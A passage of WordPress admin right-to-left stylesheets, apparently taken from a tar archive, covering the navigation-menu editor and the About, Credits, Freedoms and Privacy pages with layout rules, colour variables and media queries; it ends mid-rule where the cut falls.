div.tabs-panel,#menu-settings-column .customlinkdiv div.tabs-panel,#menu-settings-column .posttypediv div.tabs-panel,#menu-settings-column .taxonomydiv div.tabs-panel,#menu-settings-column .wp-tab-panel{max-height:calc(100% - 75px);height:100%}.metabox-holder-disabled .accordion-section-content,.metabox-holder-disabled .accordion-section-title,.metabox-holder-disabled .postbox{opacity:.5}.metabox-holder-disabled .button-controls .select-all{display:none}#wpbody{position:relative}.is-submenu{color:#50575e;font-style:italic;font-weight:400;margin-right:4px}.manage-menus{margin-top:23px;padding:10px;overflow:hidden;background:#fff}.manage-menus .selected-menu,.manage-menus .submit-btn,.manage-menus select,.nav-menus-php .add-new-menu-action{display:inline-block;margin-left:3px;vertical-align:middle}.manage-menus select,.menu-location-menus select{max-width:100%}.menu-edit #post-body-content h3{margin:1em 0 10px}#nav-menu-bulk-actions-top{margin:1em 0}#nav-menu-bulk-actions-bottom{margin:1em 0;margin:calc(1em + 9px) 0}.bulk-actions input.button{margin-left:12px}.bulk-select-button{position:relative;display:inline-block;padding:0 10px;font-size:13px;line-height:2.15384615;height:auto;min-height:30px;background:#f6f7f7;vertical-align:top;border:1px solid #dcdcde;margin:0;cursor:pointer;border-radius:3px;white-space:nowrap;box-sizing:border-box}.bulk-selection .bulk-select-button{color:#2271b1;border-color:#2271b1;background:#f6f7f7;vertical-align:top}#pending-menu-items-to-delete{display:none}.bulk-selection #pending-menu-items-to-delete{display:block;margin-top:1em}#pending-menu-items-to-delete p{margin-bottom:0}#pending-menu-items-to-delete ul{margin-top:0;list-style:none}#pending-menu-items-to-delete ul li{display:inline}input.bulk-select-switcher+.bulk-select-button-label{vertical-align:inherit}label.bulk-select-button:active,label.bulk-select-button:focus-within,label.bulk-select-button:hover{background:#f0f0f1;border-color:#0a4b78;color:#0a4b78}input.bulk-select-switcher:focus+.bulk-select-button-label{color:#0a4b78}.bulk-actions input.menu-items-delete{appearance:none;font-size:inherit;border:0;line-height:2.1em;background:0 0;cursor:pointer;text-decoration:underline;color:#b32d2e}.bulk-actions input.menu-items-delete:hover{color:#b32d2e;border:none}.bulk-actions input.menu-items-delete.disabled{display:none}.menu-settings{border-top:1px solid #f0f0f1;margin-top:2em}.menu-settings-group{margin:0 0 10px;padding-right:20%}.menu-settings-group:last-of-type{margin-bottom:0}.menu-settings-input{float:right;margin:0;width:100%}.menu-settings-group-name{float:right;clear:both;width:25%;padding:3px 0 0;margin-right:-25%}.menu-settings label{vertical-align:baseline}.menu-edit .checkbox-input{margin-top:4px}.theme-location-set{color:#646970;font-size:11px}#menu-management-liquid{float:right;min-width:100%;margin-top:3px}#menu-management{position:relative;margin-left:20px;margin-top:-3px;width:100%}#menu-management .menu-edit{margin-bottom:20px}.nav-menus-php #post-body{padding:0 10px;border-top:1px solid #fff;border-bottom:1px solid #dcdcde;background:#fff}#nav-menu-footer,#nav-menu-header{padding:0 10px;background:#f6f7f7}#nav-menu-header{border-bottom:1px solid #dcdcde;margin-bottom:0}#nav-menu-header .menu-name-label{display:inline-block;vertical-align:middle;margin-left:7px}.nav-menus-php #post-body div.error,.nav-menus-php #post-body div.updated{margin:0}.nav-menus-php #post-body-content{position:relative;float:none}.nav-menus-php #post-body-content .post-body-plain{margin-bottom:0}#menu-management .menu-add-new abbr{font-weight:600}#select-nav-menu-container{text-align:left;padding:0 10px 3px;margin-bottom:5px}#select-nav-menu{width:100px;display:inline}#menu-name-label{margin-top:-2px}.widefat .menu-locations .menu-location-title{padding:13px 10px 0}.menu-location-title label{font-weight:600}.menu-location-menus select{float:right}#locations-nav-menu-wrapper{padding:5px 0}.locations-nav-menu-select select{float:right;width:160px;margin-left:5px}.locations-row-links{float:right;margin:6px 6px 0 0}.locations-add-menu-link,.locations-edit-menu-link{margin:0 3px}.locations-edit-menu-link{padding-left:3px;border-left:1px solid #c3c4c7}#menu-management .inside{padding:0 10px}.postbox .howto input{width:180px;float:left}.accordion-container .outer-border{margin:0}.customlinkdiv p{margin-top:0}#nav-menu-theme-locations .howto select{width:100%}#nav-menu-theme-locations .button-controls{text-align:left}.add-menu-item-view-all{height:400px}#menu-container .submit{margin:0 0 10px;padding:0}#cancel-save{text-decoration:underline;font-size:12px;margin-right:20px;margin-top:5px}.button-primary.right,.button-secondary.right,.button.right{float:left}.list-controls{float:right}.add-to-menu{float:left}.button-controls{clear:both;margin:10px 0}.hide-all,.show-all{cursor:pointer}.hide-all{display:none}#menu-name{width:270px;vertical-align:middle}#manage-menu .inside{padding:0}#available-links dt{display:block}#add-custom-link .howto{font-size:12px}#add-custom-link label span{display:block;float:right;margin-top:5px;padding-left:5px}.menu-item-textbox{width:180px}.customlinkdiv .menu-item-textbox{width:100%}.nav-menus-php .howto span{float:right;margin-top:6px}.quick-search{width:190px}.quick-search-wrap .spinner{float:none;margin:-3px 0 0 -10px}.nav-menus-php .list-wrap{display:none;clear:both;margin-bottom:10px}.nav-menus-php .postbox p.submit{margin-bottom:0}.nav-menus-php .list li{display:none;margin:0 0 5px}.nav-menus-php .list li .menu-item-title{cursor:pointer;display:block}.nav-menus-php .list li .menu-item-title input{margin-left:3px;margin-top:-3px}.menu-item-title input[type=checkbox]{display:inline-block;margin-top:-4px}.menu-item-title .post-state{font-weight:600}#menu-container .inside{padding-bottom:10px}.menu{padding-top:1em}#menu-to-edit{margin:0;padding:.1em 0}.menu ul{width:100%}.menu li{margin-bottom:0;position:relative}.menu-item-bar{clear:both;line-height:1.5;position:relative;margin:9px 0 0}.menu-item-bar .menu-item-handle{border:1px solid #dcdcde;position:relative;padding:10px 15px;height:auto;min-height:20px;max-width:382px;line-height:2.30769230;overflow:hidden;word-wrap:break-word}.menu-item-bar .menu-item-handle:hover{border-color:#8c8f94}#menu-to-edit .menu-item-invalid .menu-item-handle{background:#fcf0f1;border-color:#d63638}.no-js .menu-item-edit-active .item-edit{display:none}.js .menu-item-handle{cursor:move}.menu li.deleting .menu-item-handle{background-image:none;background-color:#f86368}.menu-item-handle .item-title{font-size:13px;font-weight:600;line-height:1.53846153;display:block;margin-left:13em}.menu-item-handle .menu-item-checkbox{display:none}.bulk-selection .menu-item-handle .menu-item-checkbox{display:inline-block;margin-left:6px}.menu-item-handle .menu-item-title.no-title{color:#646970}li.menu-item.ui-sortable-helper .menu-item-bar{margin-top:0}li.menu-item.ui-sortable-helper .menu-item-transport .menu-item-bar{margin-top:9px}.menu .sortable-placeholder{height:35px;width:410px;margin-top:9px}.menu-item .menu-item-transport:empty{display:none}.menu-item-depth-0{margin-right:0}.menu-item-depth-1{margin-right:30px}.menu-item-depth-2{margin-right:60px}.menu-item-depth-3{margin-right:90px}.menu-item-depth-4{margin-right:120px}.menu-item-depth-5{margin-right:150px}.menu-item-depth-6{margin-right:180px}.menu-item-depth-7{margin-right:210px}.menu-item-depth-8{margin-right:240px}.menu-item-depth-9{margin-right:270px}.menu-item-depth-10{margin-right:300px}.menu-item-depth-11{margin-right:330px}.menu-item-depth-0 .menu-item-transport{margin-right:0}.menu-item-depth-1 .menu-item-transport{margin-right:-30px}.menu-item-depth-2 .menu-item-transport{margin-right:-60px}.menu-item-depth-3 .menu-item-transport{margin-right:-90px}.menu-item-depth-4 .menu-item-transport{margin-right:-120px}.menu-item-depth-5 .menu-item-transport{margin-right:-150px}.menu-item-depth-6 .menu-item-transport{margin-right:-180px}.menu-item-depth-7 .menu-item-transport{margin-right:-210px}.menu-item-depth-8 .menu-item-transport{margin-right:-240px}.menu-item-depth-9 .menu-item-transport{margin-right:-270px}.menu-item-depth-10 .menu-item-transport{margin-right:-300px}.menu-item-depth-11 .menu-item-transport{margin-right:-330px}body.menu-max-depth-0{min-width:950px!important}body.menu-max-depth-1{min-width:980px!important}body.menu-max-depth-2{min-width:1010px!important}body.menu-max-depth-3{min-width:1040px!important}body.menu-max-depth-4{min-width:1070px!important}body.menu-max-depth-5{min-width:1100px!important}body.menu-max-depth-6{min-width:1130px!important}body.menu-max-depth-7{min-width:1160px!important}body.menu-max-depth-8{min-width:1190px!important}body.menu-max-depth-9{min-width:1220px!important}body.menu-max-depth-10{min-width:1250px!important}body.menu-max-depth-11{min-width:1280px!important}.item-type{display:inline-block;padding:12px 16px;color:#646970;font-size:12px;line-height:1.5}.item-controls{font-size:12px;position:absolute;left:20px;top:-1px}.item-controls a{text-decoration:none}.item-controls a:hover{cursor:pointer}.item-controls .item-order{padding-left:10px}.nav-menus-php .item-edit{position:absolute;left:-20px;top:0;display:block;width:30px;height:40px;outline:0}.no-js.nav-menus-php .item-edit{position:static;float:left;width:auto;height:auto;margin:12px 0 12px -10px;padding:0;color:#2271b1;text-decoration:underline;font-size:12px;line-height:1.5}.no-js.nav-menus-php .item-edit .screen-reader-text{position:static;clip-path:none;width:auto;height:auto;margin:0}.nav-menus-php .item-edit:before{margin-top:10px;margin-right:4px;width:20px;border-radius:50%;text-indent:-1px}.no-js.nav-menus-php .item-edit:before{display:none}.rtl .nav-menus-php .item-edit:before{text-indent:1px}.js.nav-menus-php .item-edit:focus{box-shadow:none}.nav-menus-php .item-edit:focus:before{box-shadow:0 0 0 var(--wp-admin-border-width-focus,1.5px) var(--wp-admin-theme-color,#3858e9);outline:2px solid transparent}.menu-instructions-inactive{display:none}.menu-item-settings{display:block;max-width:392px;padding:10px;position:relative;z-index:10;border:1px solid #c3c4c7;border-top:none;box-shadow:0 1px 1px rgba(0,0,0,.04)}.menu-item-settings .field-move{margin:3px 0 5px;line-height:1.5}.field-move-visual-label{float:right;margin-left:4px}.menu-item-settings .field-move .button-link{display:none;margin:0 2px}.menu-item-edit-active .menu-item-settings{display:block}.menu-item-edit-inactive .menu-item-settings{display:none}.add-menu-item-pagelinks{margin:.5em -10px;text-align:center}.add-menu-item-pagelinks .page-numbers{display:inline-block;min-width:20px}.add-menu-item-pagelinks .page-numbers.dots{min-width:0}.link-to-original{display:block;margin:0 0 15px;padding:3px 5px 5px;border:1px solid #dcdcde;color:#646970;font-size:12px}.link-to-original a{padding-right:4px;font-style:normal}.hidden-field{display:none}.description-group{display:flex;column-gap:10px}.description-group>*{flex-grow:1}.menu-item-actions{padding-top:15px;padding-bottom:7px}#cancel-save{cursor:pointer}.nav-menus-php .major-publishing-actions{padding:10px 0;display:flex;align-items:center}.nav-menus-php .major-publishing-actions>*{margin-left:10px}.nav-menus-php .major-publishing-actions .form-invalid{padding-right:4px;margin-right:-4px}#menu-item-name-wrap,#menu-item-url-wrap,#nav-menus-frame{display:block}.button-controls{display:flex;align-items:center;justify-content:space-between}.button-controls-customlinkdiv{justify-content:flex-end}@media only screen and (min-width:769px) and (max-width:1000px){body.menu-max-depth-0{min-width:0!important}#menu-management-liquid{width:100%}.nav-menus-php #post-body-content{min-width:0}}@media screen and (max-width:782px){body.nav-menus-php,body.wp-customizer{min-width:0!important}#nav-menus-frame{margin-right:0;float:none;width:100%}#wpbody-content #menu-settings-column{display:block;width:100%;float:none;margin-right:0}#side-sortables .add-menu-item-tabs{margin:15px 0 14px}ul.add-menu-item-tabs li.tabs{padding:13px 15px 14px}.nav-menus-php .customlinkdiv .howto input{width:65%}.nav-menus-php .quick-search{width:85%}#menu-management-liquid{margin-top:25px}.nav-menus-php .menu-name-label.howto span{margin-top:13px}#menu-name{width:100%}.nav-menus-php #nav-menu-header .major-publishing-actions .publishing-action{padding-top:1em}.nav-menus-php .delete-action{font-size:14px;line-height:2.14285714}.menu-item-bar .menu-item-handle,.menu-item-settings{width:auto}.menu-item-settings{padding:10px}.menu-item-settings .description-group{display:block}.menu-item-settings input{width:100%}.menu-item-settings input[type=checkbox],.menu-item-settings input[type=radio]{width:25px}.menu-settings-group{padding-right:0;overflow:visible}.menu-settings-group-name{float:none;width:auto;margin-right:0;margin-bottom:15px}.menu-settings-input{float:none;margin-bottom:15px}.menu-edit .checkbox-input{margin-top:0}.manage-menus select{margin:.5em 0}.wp-core-ui .manage-menus .button{margin-bottom:0}.widefat .menu-locations .menu-location-title{padding-top:16px}}@media only screen and (min-width:783px){@supports (position:sticky) and (scroll-margin-bottom:130px){#nav-menu-footer{position:sticky;bottom:0;z-index:10;box-shadow:0 -1px 0 0 #ddd}#save_menu_header{display:none}}}@media only screen and (max-width:768px){#menu-locations-wrap .widefat{width:100%}.bulk-select-button{padding:5px 10px}} css/about-rtl.css 0000644 00000067534 15233246127 0010003 0 ustar 00 /*! This file is auto-generated */ /*------------------------------------------------------------------------------ 22.0 - About Pages 1.0 Global: About, Credits, Freedoms, Privacy, Get Involved 1.1 Layout 1.2 Typography & Elements 1.3 Header 2.0 Credits Page 3.0 Freedoms Page 4.0 Privacy Page x.2.0 Legacy About Styles: Global x.2.1 Typography x.2.2 Structure x.2.3 Point Releases x.3.0 Legacy About Styles: About Page x.3.1 Typography x.3.2 Structure x.4.0 Legacy About Styles: Credits & Freedoms Pages x.5.0 Legacy About Styles: Media Queries ------------------------------------------------------------------------------*/ .about__container { /* Section backgrounds */ --background: #ebe8e5; --subtle-background: #ebe8e5; /* Main text color */ --text: #1e1e1e; --text-light: #fff; /* Accent colors: used in header, on special classes. */ --accent-1: #3858e9; /* Link color */ --accent-2: #183ad6; /* Accent background */ --accent-3: #ececec; /* hr background */ /* Header background on small screens */ --accent-gradient: linear-gradient(-90deg, #000000 4.7%, var(--accent-1) 83.84%)/*rtl:linear-gradient(-90deg, #000000 4.7%, var(--accent-1) 83.84%)*/; /* Navigation colors. */ --nav-background: #fff; --nav-border: transparent; --nav-color: var(--text); --nav-current: var(--accent-1); --border-radius: 0.5rem; --gap: 2rem; } /*------------------------------------------------------------------------------ 1.0 - Global: About, Credits, Freedoms, Privacy, Get Involved ------------------------------------------------------------------------------*/ .about-php, .credits-php, .freedoms-php, .privacy-php, .contribute-php { background: #fff; } .about-php #wpcontent, .credits-php #wpcontent, .freedoms-php #wpcontent, .privacy-php #wpcontent, .contribute-php #wpcontent { background: #fff; padding: 0 24px; } @media screen and (max-width: 782px) { .about-php.auto-fold #wpcontent, .credits-php.auto-fold #wpcontent, .freedoms-php.auto-fold #wpcontent, .privacy-php.auto-fold #wpcontent, .contribute-php.auto-fold #wpcontent { padding-right: 24px; } } .about__container { max-width: 1000px; margin: 24px auto; clear: both; } .about__container .alignleft { float: right; } .about__container .alignright { float: left; } .about__container .aligncenter { text-align: center; } .about__container .is-vertically-aligned-top { align-self: start; } .about__container .is-vertically-aligned-center { align-self: center; } .about__container .is-vertically-aligned-bottom { align-self: end; } .about__section { background: transparent; clear: both; } .about__container .has-accent-background-color { color: var(--text-light); background-color: var(--accent-2); } .about__container .has-transparent-background-color { background-color: transparent; } .about__container .has-accent-color { color: var(--accent-2); } .about__container .has-border { border: 3px solid currentColor; } .about__container .has-subtle-background-color { background-color: var(--subtle-background); border-radius: var(--border-radius); } .about__container .has-background-image { background-size: contain; background-repeat: no-repeat; background-position: center; } /* 1.1 - Layout */ .about__section { margin: 0; } .about__section .column:not(.is-edge-to-edge) { padding: var(--gap); } .about__section .column.is-left-padding-zero { padding-right: 0; } .about__section .column.is-right-padding-zero { padding-left: 0; } .about__section + .about__section .is-section-header { padding-bottom: var(--gap); } .about__section .column[class*="background-color"]:not(.is-edge-to-edge), .about__section:where([class*="background-color"]) .column:not(.is-edge-to-edge), .about__section .column.has-border:not(.is-edge-to-edge) { padding-top: var(--gap); padding-bottom: var(--gap); } .about__section .column p:first-of-type { margin-top: 0; } .about__section .column p:last-of-type { margin-bottom: 0; } .about__section .has-text-columns { columns: 2; column-gap: calc(var(--gap) * 2); } .about__section .is-section-header { margin-bottom: 0; padding: var(--gap) var(--gap) 0; } .about__section .is-section-header p:last-child { margin-bottom: 0; } /* Section header is alone in a container. */ .about__section .is-section-header:first-child:last-child { padding: 0; } .about__section.is-feature { padding: var(--gap); } .about__section.is-feature p { margin: 0; } .about__section.is-feature p + p { margin-top: calc(var(--gap) / 2); } .about__section.has-1-column { margin-right: auto; margin-left: auto; max-width: 36em; } .about__section.has-2-columns, .about__section.has-3-columns, .about__section.has-4-columns, .about__section.has-overlap-style { display: grid; } .about__section.has-gutters { gap: var(--gap); margin-bottom: var(--gap); } .about__section.has-2-columns { grid-template-columns: 1fr 1fr; } .about__section.has-2-columns.is-wider-right { grid-template-columns: 2fr 3fr; } .about__section.has-2-columns.is-wider-left { grid-template-columns: 3fr 2fr; } .about__section .is-section-header { grid-column-start: 1; grid-column-end: -1; } .about__section.has-3-columns { grid-template-columns: repeat(3, 1fr); } .about__section.has-4-columns { grid-template-columns: repeat(4, 1fr); } .about__section.has-overlap-style { grid-template-columns: repeat(7, 1fr); } .about__section.has-overlap-style .column { grid-row-start: 1; } .about__section.has-overlap-style .column:nth-of-type(2n+1) { grid-column-start: 2; grid-column-end: span 3; } .about__section.has-overlap-style .column:nth-of-type(2n) { grid-column-start: 4; grid-column-end: span 3; } .about__section.has-overlap-style .column.is-top-layer { z-index: 1; } @media screen and (max-width: 782px) { .about__section.has-2-columns.is-wider-right, .about__section.has-2-columns.is-wider-left, .about__section.has-3-columns { display: block; margin-bottom: calc(var(--gap) / 2); } .about__section .column:not(.is-edge-to-edge) { padding-top: var(--gap); padding-bottom: var(--gap); } .about__section.has-2-columns.has-gutters.is-wider-right, .about__section.has-2-columns.has-gutters.is-wider-left, .about__section.has-3-columns.has-gutters { margin-bottom: calc(var(--gap) * 2); } .about__section.has-2-columns.has-gutters .column, .about__section.has-2-columns.has-gutters .column, .about__section.has-3-columns.has-gutters .column { margin-bottom: var(--gap); } .about__section.has-2-columns.has-gutters .column:last-child, .about__section.has-2-columns.has-gutters .column:last-child, .about__section.has-3-columns.has-gutters .column:last-child { margin-bottom: 0; } .about__section.has-3-columns .column:nth-of-type(n) { padding-top: calc(var(--gap) / 2); padding-bottom: calc(var(--gap) / 2); } .about__section.has-4-columns { grid-template-columns: repeat(2, 1fr); } .about__section.has-overlap-style { grid-template-columns: 1fr; } /* At this size, the two columns fully overlap */ .about__section.has-overlap-style .column.column { grid-column-start: 1; grid-column-end: 2; grid-row-start: 1; grid-row-end: 2; } } @media screen and (max-width: 600px) { .about__section.has-2-columns { display: block; margin-bottom: var(--gap); } .about__section.has-2-columns:not(.has-gutters) .column:nth-of-type(n) { padding-top: calc(var(--gap) / 2); padding-bottom: calc(var(--gap) / 2); } .about__section.has-2-columns.has-gutters { margin-bottom: calc(var(--gap) * 2); } .about__section.has-2-columns.has-gutters .column { margin-bottom: var(--gap); } .about__section.has-2-columns.has-gutters .column:last-child { margin-bottom: 0; } .about__section .column.is-left-padding-zero { padding-left: 0; } .about__section .column.is-right-padding-zero { padding-right: 0; } } @media screen and (max-width: 480px) { .about__section.is-feature .column, .about__section .is-section-header { padding: 0; } .about__section.has-4-columns { display: block; padding-bottom: calc(var(--gap) / 2); } .about__section.has-4-columns.has-gutters .column { margin-bottom: calc(var(--gap) / 2); } .about__section.has-4-columns.has-gutters .column:last-child { margin-bottom: 0; } .about__section.has-4-columns .column:nth-of-type(n) { padding-top: calc(var(--gap) / 2); padding-bottom: calc(var(--gap) / 2); } } /* 1.2 - Typography & Elements */ .about__container { line-height: 1.4; color: var(--text); } .about__container h1 { padding: 0; } .about__container h1, .about__container h2, .about__container h3.is-larger-heading { margin-top: 0; margin-bottom: calc(0.5 * var(--gap)); font-size: 2rem; font-weight: 700; line-height: 1.16; } .about__container h3, .about__container h1.is-smaller-heading, .about__container h2.is-smaller-heading { margin-top: 0; margin-bottom: calc(0.5 * var(--gap)); font-size: 1.625rem; font-weight: 700; line-height: 1.4; } .about__container h4, .about__container h3.is-smaller-heading { margin-top: 0; font-size: 1.125rem; font-weight: 600; line-height: 1.6; } .about__container h1, .about__container h2, .about__container h3, .about__container h4 { text-wrap: pretty; color: inherit; } .about__container :is(h1, h2, h3, h4, .about__header-text):lang(en) { text-wrap: balance; } .about__container p { text-wrap: pretty; } .about__container p { font-size: inherit; line-height: inherit; } .about__container p.is-subheading { margin-top: 0; margin-bottom: 1rem; font-size: 1.5rem; font-weight: 300; line-height: 160%; } .about__section a { color: var(--accent-1); text-decoration: underline; } .about__section a:hover, .about__section a:active, .about__section a:focus { color: var(--accent-1); text-decoration: none; } .wp-credits-list a { text-decoration: none; } .wp-credits-list a:hover, .wp-credits-list a:active, .wp-credits-list a:focus { text-decoration: underline; } .about__section a.button.button-hero { padding-top: 1.1875rem; padding-bottom: 1.1875rem; font-size: 1.5rem; line-height: 1.4; white-space: normal; text-wrap: pretty; } .about__container ul { list-style: disc; margin-right: calc(var(--gap) / 2); } .about__container li { margin-bottom: 0.5rem; } .about__container img { margin: 0; max-width: 100%; vertical-align: middle; } .about__container .about__image { margin: 0; } .about__container .about__image img { max-width: 100%; width: 100%; height: auto; border-radius: var(--border-radius); } .about__container .about__image figcaption { margin-top: 0.5em; text-align: center; } .about__container .about__image .wp-video { margin-right: auto; margin-left: auto; } .about__container .about__image svg { vertical-align: middle; } .about__container .about__image + h3 { margin-top: calc(0.75 * var(--gap)); } .about__container hr { margin: calc(var(--gap) / 2) var(--gap); height: 0; border: none; border-top: 4px solid var(--accent-3); } .about__container hr.is-small { margin-top: 0; margin-bottom: 0; } .about__container hr.is-large { margin: var(--gap) auto; } .about__container hr.is-invisible { border: none; } .about__container div.updated, .about__container div.error, .about__container .notice { display: none !important; } .about__container code { font-size: inherit; } .about__section { font-size: 1.125rem; line-height: 1.55; } .about__section.is-feature { font-size: 1.6em; } .about__section.has-3-columns, .about__section.has-4-columns { font-size: 1rem; } @media screen and (max-width: 480px) { .about__section.is-feature { font-size: 1.4em; } .about__container h1, .about__container h2, .about__container h3.is-larger-heading { font-size: 2em; } } /* 1.3 - Header */ .about__header { position: relative; display: flex; flex-direction: column; align-items: flex-start; justify-content: flex-end; box-sizing: border-box; padding: calc(var(--gap) * 1.5); padding-left: 26rem; /* Space for the background image. */ min-height: clamp(10rem, 25vw, 18.75rem); border-radius: var(--border-radius); background-image: url( "../images/about-header-default.webp?ver=20260514" ); background-repeat: no-repeat; background-position: left center; background-size: cover; background-color: var(--background); color: var(--text-light); } .credits-php .about__header { background-image: url( "../images/about-header-credits.webp?ver=20260514" ); } .freedoms-php .about__header { background-image: url( "../images/about-header-freedoms.webp?ver=20260514" ); } .privacy-php .about__header { background-image: url( "../images/about-header-privacy.webp?ver=20260514" ); } .contribute-php .about__header { background-image: url( "../images/about-header-get-involved.webp?ver=20260514" ); } [dir="rtl"] .about__header { background-image: url( "../images/about-header-default-rtl.webp?ver=20260514" ); } [dir="rtl"] .credits-php .about__header { background-image: url( "../images/about-header-credits-rtl.webp?ver=20260514" ); } [dir="rtl"] .freedoms-php .about__header { background-image: url( "../images/about-header-freedoms-rtl.webp?ver=20260514" ); } [dir="rtl"] .privacy-php .about__header { background-image: url( "../images/about-header-privacy-rtl.webp?ver=20260514" ); } [dir="rtl"] .contribute-php .about__header { background-image: url( "../images/about-header-get-involved-rtl.webp?ver=20260514" ); } .about__header-image { margin: 0 0 calc(var(--gap) * 1.5); } .about__header-title { box-sizing: border-box; margin: 0; padding: 0; } .about__header-title h1 { margin: 0; padding: 0; /* Fluid font size scales on browser size 960px - 1200px. */ font-size: clamp(2rem, 20vw - 9rem, 4rem); line-height: 1; font-weight: 600; color: var(--text); } .about-php .about__header-title h1, .credits-php .about__header-title h1, .freedoms-php .about__header-title h1, .privacy-php .about__header-title h1, .contribute-php .about__header-title h1 { /* Fluid font size scales on browser size 960px - 1200px. */ font-size: clamp(2rem, 20vw - 9rem, 4rem); } .about__header-text { box-sizing: border-box; max-width: 26em; margin: 1rem 0 0; padding: 0; font-size: 1.6rem; line-height: 1.15; color: var(--text); } .about__header-navigation { position: relative; z-index: 1; display: flex; flex-wrap: wrap; justify-content: space-between; padding-top: 0; margin-bottom: var(--gap); background: var(--nav-background); color: var(--nav-color); border-bottom: 3px solid var(--nav-border); } .about__header-navigation::after { display: none; } .about__header-navigation .nav-tab { margin-right: 0; padding: calc(var(--gap) * 0.75) var(--gap); float: none; font-size: 1.4em; line-height: 1; border-width: 0 0 3px; border-style: solid; border-color: transparent; background: transparent; color: inherit; } .about__header-navigation .nav-tab:hover, .about__header-navigation .nav-tab:active { background-color: var(--nav-current); color: var(--text-light); border-radius: var(--border-radius); } .about__header-navigation .nav-tab-active { margin-bottom: -3px; color: var(--nav-current); border-width: 0 0 6px; border-color: var(--nav-current); } .about__header-navigation .nav-tab-active:hover, .about__header-navigation .nav-tab-active:active { background-color: var(--nav-current); color: var(--text-light); border-color: var(--nav-current); border-radius: var(--border-radius); } @media screen and (max-width: 960px) { .about__header { padding-left: 21rem; } .about-php .about__header-title h1, .credits-php .about__header-title h1, .freedoms-php .about__header-title h1, .privacy-php .about__header-title h1, .contribute-php .about__header-title h1 { /* Fluid font size scales on browser size 600px - 960px. */ font-size: clamp(2rem, 20vw - 9rem, 4rem); } .about__header-navigation .nav-tab { padding: calc(var(--gap) * 0.75) calc(var(--gap) * 0.5); } } @media screen and (max-width: 782px) { .about__container .about__header-text { font-size: 1.4em; } .about__header-container { display: block; } .about__header { padding: var(--gap); padding-left: 17rem; } .about__header-text { margin-top: 0.5rem; } .about__header-navigation .nav-tab { margin-top: 0; margin-left: 0; font-size: 1.2em; } } @media screen and (max-width: 600px) { .about__header { min-height: auto; padding-left: var(--gap); } .about__header-navigation { display: block; } .about__header-navigation .nav-tab { display: block; margin-bottom: 0; padding: calc(var(--gap) / 2); border-right-width: 6px; border-bottom: none; } .about__header-navigation .nav-tab-active { border-bottom: none; border-right-width: 6px; } } /*------------------------------------------------------------------------------ 2.0 - Credits Page ------------------------------------------------------------------------------*/ .about__section .wp-people-group-title { margin-bottom: calc(var(--gap) * 2 - 10px); text-align: center; } .about__section .wp-people-group { margin: 0; display: flex; flex-wrap: wrap; } .about__section .wp-person { display: inline-block; vertical-align: top; box-sizing: border-box; margin-bottom: calc(var(--gap) - 10px); width: 25%; text-align: center; } .about__section .compact .wp-person { height: auto; width: 20%; } .about__section .wp-person-avatar { display: block; margin: 0 auto calc(var(--gap) / 2); width: 140px; height: 140px; border-radius: 100%; overflow: hidden; } .about__section .wp-person .gravatar { width: 140px; height: 140px; filter: grayscale(100%); } .about__section .compact .wp-person-avatar, .about__section .compact .wp-person .gravatar { width: 80px; height: 80px; } .about__section .wp-person .web { display: block; font-size: 1.4em; font-weight: 600; padding: 10px 10px 0; text-decoration: none; } .about__section .wp-person .web:hover { text-decoration: underline; } .about__section .compact .wp-person .web { font-size: 1.2em; } .about__section .wp-person .title { display: block; margin-top: 0.5em; } @media screen and (max-width: 782px) { .about__section .wp-person { width: 33%; } .about__section .compact .wp-person { width: 25%; } .about__section .wp-person-avatar, .about__section .wp-person .gravatar { width: 120px; height: 120px; } } @media screen and (max-width: 600px) { .about__section .wp-person { width: 50%; } .about__section .compact .wp-person { width: 33%; } .about__section .wp-person .web { font-size: 1.2em; } } @media screen and (max-width: 480px) { .about__section .wp-person { min-width: 100%; } .about__section .wp-person .web { font-size: 1em; } .about__section .compact .wp-person .web { font-size: 1em; } } /*------------------------------------------------------------------------------ 3.0 - Freedoms Page ------------------------------------------------------------------------------*/ .about__section .column .freedom-image { margin-bottom: var(--gap); max-height: 180px; } /*------------------------------------------------------------------------------ 4.0 - Privacy Page ------------------------------------------------------------------------------*/ .about__section .column .privacy-image { display: block; margin-right: auto; margin-left: auto; max-width: 25rem; } /*------------------------------------------------------------------------------ x.2.0 - Legacy About Styles: Global ------------------------------------------------------------------------------*/ .about-wrap { position: relative; margin: 25px 20px 0 40px; max-width: 1050px; /* readability */ font-size: 15px; } .about-wrap.full-width-layout { max-width: 1200px; } .about-wrap-content { max-width: 1050px; } .about-wrap div.updated, .about-wrap div.error, .about-wrap .notice { display: none !important; } .about-wrap hr { border: 0; height: 0; margin: 3em 0 0; border-top: 1px solid rgba(0, 0, 0, 0.1); } .about-wrap img { margin: 0; width: 100%; height: auto; vertical-align: middle; } .about-wrap .inline-svg img { max-width: 100%; width: auto; height: auto; } .about-wrap video { margin: 1.5em auto; } /* WordPress Version Badge */ .wp-badge { background: #0073aa url(../images/w-logo-white.png?ver=20160308) no-repeat; background-position: center 25px; background-size: 80px 80px; color: #fff; font-size: 14px; text-align: center; font-weight: 600; margin: 5px 0 0; padding-top: 120px; height: 40px; display: inline-block; width: 140px; text-rendering: optimizeLegibility; box-shadow: 0 1px 3px rgba(0, 0, 0, 0.2); } .svg .wp-badge { background-image: url(../images/wordpress-logo-white.svg?ver=20160308); } .about-wrap .wp-badge { position: absolute; top: 0; left: 0; } /* Tabs */ .about-wrap .nav-tab { padding-left: 15px; padding-right: 15px; font-size: 18px; line-height: 1.33333333; } /* x.2.1 - Typography */ .about-wrap h1 { margin: 0.2em 0 0 200px; padding: 0; color: #32373c; line-height: 1.2; font-size: 2.8em; font-weight: 400; } .about-wrap h2 { margin: 40px 0 0.6em; font-size: 2.7em; line-height: 1.3; font-weight: 300; text-align: center; } .about-wrap h3 { margin: 1.25em 0 0.6em; font-size: 1.4em; line-height: 1.5; } .about-wrap h4 { font-size: 16px; color: #23282d; } .about-wrap p { line-height: 1.5; font-size: 16px; } .about-wrap code, .about-wrap ol li p { font-size: 14px; font-weight: 400; } .about-wrap figcaption { font-size: 13px; text-align: center; color: white; text-overflow: ellipsis; } .about-wrap .about-description, .about-wrap .about-text { margin-top: 1.4em; font-weight: 400; line-height: 1.6; font-size: 19px; } .about-wrap .about-text { margin: 1em 0 1em 200px; color: #555d66; } /* x.2.2 - Structure */ .about-wrap .has-1-columns, .about-wrap .has-2-columns, .about-wrap .has-3-columns, .about-wrap .has-4-columns { display: grid; max-width: 800px; margin-top: 40px; margin-right: auto; margin-left: auto; } .about-wrap .column { margin-left: 20px; margin-right: 20px; } .about-wrap .is-wide { max-width: 760px; } .about-wrap .is-fullwidth { max-width: 100%; } .about-wrap .has-1-columns { display: block; max-width: 